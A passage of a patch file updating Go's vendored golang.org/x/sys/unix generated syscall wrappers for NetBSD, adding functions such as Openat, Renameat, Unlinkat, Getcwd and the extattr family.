- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -903,6 +1299,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -992,6 +1404,28 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p1 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1012,6 +1446,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1053,8 +1507,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1189,6 +1644,21 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Statvfs1(path string, buf *Statvfs_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATVFS1, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1209,6 +1679,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1257,6 +1747,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go
-index 7b6c2c87..d8cf5012 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -netbsd -tags netbsd,amd64 syscall_bsd.go syscall_netbsd.go syscall_netbsd_amd64.go
-+// go run mksyscall.go -netbsd -tags netbsd,amd64 syscall_bsd.go syscall_netbsd.go syscall_netbsd_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build netbsd,amd64
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -378,7 +362,7 @@ func pipe() (fd1 int, fd2 int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-+func Getdents(fd int, buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -395,6 +379,49 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -526,6 +553,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -533,6 +570,245 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ExtattrGetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteFd(fd int, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListFd(fd int, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_FD, uintptr(fd), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrGetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteFile(file string, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListFile(file string, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrGetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteLink(link string, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListLink(link string, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_POSIX_FADVISE, uintptr(fd), 0, uintptr(offset), 0, uintptr(length), uintptr(advice))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -563,6 +839,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -573,6 +864,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -604,6 +910,31 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatvfs1(fd int, buf *Statvfs_t, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATVFS1, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -807,6 +1138,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -847,6 +1198,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -862,6 +1228,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -877,6 +1258,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -903,6 +1299,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -992,6 +1404,28 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p1 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1012,6 +1446,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
